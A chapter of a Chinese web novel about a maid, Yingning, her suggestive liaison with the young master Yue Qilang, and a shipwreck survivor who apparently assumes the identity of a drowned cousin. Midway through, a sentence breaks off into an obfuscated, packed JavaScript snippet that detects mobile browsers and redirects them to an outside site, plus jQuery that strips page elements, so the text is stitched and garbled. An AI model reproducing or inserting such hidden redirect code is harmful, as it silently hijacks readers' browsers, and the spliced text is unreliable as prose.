缨宁伸手抓着帘子,像是溺水之人抓中最后一根稻草,然而,窗外的蝉声实在是太聒噪了,竟将她那点微不足道的尖叫遮得严严实实。
她大口喘着气,不觉身上已被汗湿。
此刻月七郎就如一座山,褪去了衣衫,雪就堆在半山腰,露出的坚实、膨胀的山岩,向她再一次倒过来。
缨宁有些害怕,抻开的身体蜷缩不及,只能眼睁睁看着他撞上来,眼眶里摇摇欲坠的的几滴泪被撞成两条条细细的珠链。
月七郎胸膛里火烧一般,垂着黑沉沉的眼,想要解渴,因她这般可怜的模样,只能轻轻舔去几滴泪。
“是你自己招惹来的,这会儿却像是受了天大的委屈,拿我寻开心?”
月七郎捏着缨宁的脸肉,卸了一身力气,躺在一侧,望着床上的承尘,久久无声。
日头往西,光影斜长,昏黄耀眼,偏僻的房舍内闷热异常。
缨宁擦着眼泪,耳畔是沉重的呼吸跟砰砰的心跳,她疑心这是自己的,不然为何四肢百骸的血都在沸腾……
浑身湿透的少女勉强起身,去够茶几上的水壶,像三百年没喝过水,慌张的水沿着红肿嘴角往下,干渴的肌肤愈发潮湿。
怎么都不够。
身后有目光落在背上,逡巡着缨宁泛红的每一寸肌肤,伴随着窸窣的声响,月七郎闭上眼,微微叹了口气。
杯水车薪。
缓过之后,他起身穿戴,只是亵衣脏了,因不愿让人知道这日午后发生了什么,月七郎借着这儿的溪水,难得洗一次衣裳。
屋内,缨宁收拾床褥。
幸好是夏日,床上铺了席子,可纵然月七郎已擦拭过一遍,仍有一股异样的味道散不去。
缨宁卷起竹席站在窗边。
窗外的假山上晾着雪白的亵衣,月七郎刚从溪边起身,不妨撞见了少女弱柳迎风的姿态,凤眸春意甚浓。
“怎么了?”
缨宁眉头微蹙,将竹席递给他,小声道:“腰疼,洗不了。”
月七郎似想起了什么,当下接了过来,轻笑道:“是我不好。”
他转身再将竹席洗干净晾晒起来,等忙完一切,亵衣也干了,正好换上。
眼下时辰不早,月七郎临走前道:“明日冯家的表哥要到宅下,祖母让我带人去城外码头接他,你同我一起,正好出去透透气。”
缨宁颔首,等他不见影了,当下关起门来,将簪子藏好。
冯家的表哥前些日子她听洗秋说过一回。
人是老夫人娘家的侄儿,天生的读书种子,父母双亡,靠着叔伯亲戚过活,不巧今年宣州发大水,田地淹了大片,族中亲友生计困难,不得已求到老夫人跟前,老夫人一向慈悲,便点了头。
此番让月七郎亲去码头接人,一则是显出月家的尊重来,二来,或是想让冯家表哥日后伴着月七郎一块儿读书。但究竟如何,还得看明日老夫人的安排。
说起老夫人,那是有口皆碑的菩萨心肠,平素吃斋念佛,五年前老太爷去世后,老夫人便领着亲眷回到江都祖宅。现下府中掌事的是大儿媳。
三月给老夫人办六十大寿时,缨宁还被抽到厨房搭了把手。
那时候府里风言风语就不少,沾了月七郎的光,她也成了一盘佐酒菜。
缨宁一想到明日还要跟着月七郎到那香烟馥馥的禅房里向老夫人问安,心里不由打起了一阵退堂鼓。
上了年纪的老人家眼睛大多浑浊,再映着那缥缈的烟气,就像是夹着棉絮的玉,老夫人用那滚圆的眼看着她,不知心里想的是什么,总让她汗毛耸立,如坐针毡。
缨宁魂不守舍,捡着明天穿的衣裳,临镜自照,照了又照,日头竟就这样从穿衣镜里晃了过去……
——
是夜,南风起。
这天真是说变就变。
江都城外春澜江上刮起大浪。
不少船为避风躲了起来,放眼望去,只有泼天的浪,万千的银蛇,流天照野。
忽然,一艘船破浪而出,顷刻间叫喧嚣的春澜江陷入一息的寂静中。
船在其中像一片柳叶,人在其中像一粒沙尘,血在其中则像是一闪即逝的电光。
电光一闪,甲板上的瘦弱少年被人抛下去,眨眼间血迹便被雨水冲了个一干二净,甚至为了让这一切不复存在,更高的一浪扑了上来,直将摇摇欲坠的船撞得四分五裂方才罢休。
“不好!江上有船!”
码头上守夜的船老大远远地就听见轰然一声巨响,他以为是雷,可举起通红的灯笼,接着周遭的光使劲看,却见一艘稀烂的船倒在江面上,离着码头近在咫尺。
附近的力工、纤夫并几个船老大带人冒着雨下去捞人。可巧,也是老天保佑,暴雨只在这一阵,不多时雨势转小,几个水性好的汉子捞起两个还有气的人。
一个十六七的少年,一个六七十的老头,老的老,小的小,急救之后小的先睁开了眼。
“小兄弟?身子可还好?”
少年浑身湿漉漉的,乌黑的发丝贴着半边脸,像是水鬼一般。他恍恍惚惚,举目望着众人:“这是哪儿?”
“这是江都的东码头,方才好大的雨,天变了怎么不停船上岸?不过捡了一条命回来,也算是福大命大了。那位可是你家爹爹?”
少年看着那头发花白的老者,伸手探他的鼻息,手未到,他眼睛已睁开了。
“啊啊啊啊——”
老人竟是个哑巴!
见他又吐了几口水,气喘过来了,少年刹那间也像是活了过来,扶他起来后,朝着一行人叩首谢恩。
船老大摆摆手,扶起老者,笑道:“小兄弟快请起!咱们靠水吃水,这江上但凡有人落水了,咱们瞧见都要伸把手救起来,什么报恩的,就免了,日后千万小心,这样的天气,宁可耽误几日,不要出船。”
一屋子人,三教九流,船老大见两人虽狼狈不堪,但身穿锦缎,想是富贵人家出身,又叫手下捡了两套干净衣裳供他们换上。
“两位且在我这儿对付一宿,等明早城门开了,不妨再进城。”
少年捧着姜汤,谢过船老大的好意。见船老大问名问姓,便将自己旧衣里夹着的名帖取出来。只是名帖浸了水,纸上字都花了,勉强能看清一个冯字。
“晚生姓冯,名子规,这位是家中的老仆哑叔。我二人祖籍宣州,今岁家乡发了洪水,迫不得已,只能北上寻亲。”
“怪不得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235046|181841||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,不过这样坏的天气,船夫怎就如此一意孤行?你们也不拦着点吗?”
少年冯子规笑了笑,抬起眼,船老大见多识广,四目相对,料有隐情,压低声道:“我这儿但说无妨,都是本家兄弟,最是可靠。”
冯子规于是将主仆二人搭上黑船,深夜险被谋财害命一事道出,为了活命,又或是为了同归于尽,他将船上缰绳斩断,将船拖进了风浪之中。
船老大佩服他的胆识,只是这般举动太过冒险,小小年纪,就敢赌命,想来也不是寻常庸才,当下给两人安排了两间干净的房舍,一夜无梦。
第二日,天早早亮透了,江上还飘着木板,一些捞尸人听说了昨夜有船倾覆,纷纷下水捞尸。
一共捞上来两具男尸。
月七郎到的那会儿,就瞧见两具尸体齐齐躺在一处空地上,周围人指指点点,谈话间隐隐说了个冯字。
他等候许久,不见冯子规踪迹,便踱步到那头,画琴挤开人墙,但见里面有一具年轻尸体,被人围着叽叽喳喳。
“昨夜里好大风浪,这些外地人偏要行船,可见是自作孽。”
“听说是月家的一门远方亲戚,想来是心急,还这么年轻,就丢了性命,可惜,实在可惜!”
“你说什么?”
画琴拉住说话的那一人,方才还说的起劲的人顿时没了大声,只敢小声道:“得罪,得罪。”
缨宁站在月七郎身后,歪着身,觑了一眼。
一老一少,小的那个是真年轻,估摸着与她一般大小,夜里淹死了,清早捞上来,肚子里都是水,将瘦弱的身体撑得有些饱胀,老的那个兴许被什么扇中了脸,皱巴巴的一张老脸上眼睛烂了半边。
“有什么好看的,也不怕做噩梦。”
身后有人捂着她的眼。
听着月七郎的声音,缨宁便装作害怕的样子,又藏在了他身后。
风吹着锥帽,透过白纱缝隙,她看着波涛滚滚的江水,嗅到了一丝腥味。
幼年的惨剧浮现在脑海中,少女脸色一白,只是浸在晨光之中,愈白的脸衬得唇色愈红,眼眸愈黑,像是一件精致的、温润的瓷。
风很快停息,这短暂的一幕却被人尽收眼底。
月七郎正要回报祖母,不期然人群里有人姗姗走到了面前,拱手行礼,甚是恭敬。
月七郎微微笑道:“你是?”
与他一道的船老大将昨夜之事一一道出,见是活着的冯子规,月七郎多看了几眼。
祖母只说家里有这么个侄儿,这么多年不曾登门,是以家中上下无人知其面貌。现如今有递上来的名帖与祖母的书信,虽然浸水损毁了,可查看纸张笔迹以及落款,勉强可以瞧出月家的一点痕迹。
月七郎拱手,笑容和煦:“原来是冯表弟,昨夜你受惊了,且随愚兄回家,祖母念你多时了。”
冯子规于是辞别了船老大,带着哑叔便上了马车。
这一辆马车走在月七郎后面。
车内少年撩开车帘,初来江都,哑叔见他目不转睛盯着外头,忍不住小声提醒了一句:
“高门大院,腌臜龌龊,你当真要进去?”
“既做了,就没有回头的道理,难道不是吗?”